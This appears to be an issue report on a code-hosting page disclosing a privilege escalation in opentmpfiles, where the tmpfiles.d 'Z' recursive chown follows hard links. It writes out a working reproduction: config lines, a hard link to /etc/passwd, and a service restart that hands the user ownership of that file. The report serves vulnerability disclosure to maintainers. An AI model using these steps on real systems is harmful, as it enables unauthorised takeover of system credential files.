-
Notifications
You must be signed in to change notification settings - Fork 13
Open
Description
The tmpfiles.d specification for the Z type more or less implies some kind of recursive chown. The spec heads off one type of vulnerability by saying that symlinks should not be followed; however, hard links are still a problem. Consider the following:
$ cat /etc/tmpfiles.d/exploit-recursive.conf
d /var/lib/opentmpfiles-exploit-recursive 0755 mjo mjo
Z /var/lib/opentmpfiles-exploit-recursive 0755 mjo mjo
The first time that opentmpfiles-setup is launched, everything is fine. But then my "mjo" user owns the directory in question, and I can create a hard link...
$ ln /etc/passwd /var/lib/opentmpfiles-exploit-recursive/x
and restart opentmpfiles-setup...
$ sudo /etc/init.d/opentmpfiles-setup restart
* WARNING: you are stopping a boot service
* Setting up tmpfiles.d entries ... [ ok ]
and now I own /etc/passwd!
$ /bin/ls -l /etc/passwd
-rwxr-xr-x 2 mjo mjo 1504 Dec 20 14:27 /etc/passwd
This happens, ultimately, because chown -R will "follow" a hard link. This same problem was addressed in OpenRC's checkpath helper in Gentoo bug 540006.
Metadata
Metadata
Assignees
Labels
No labels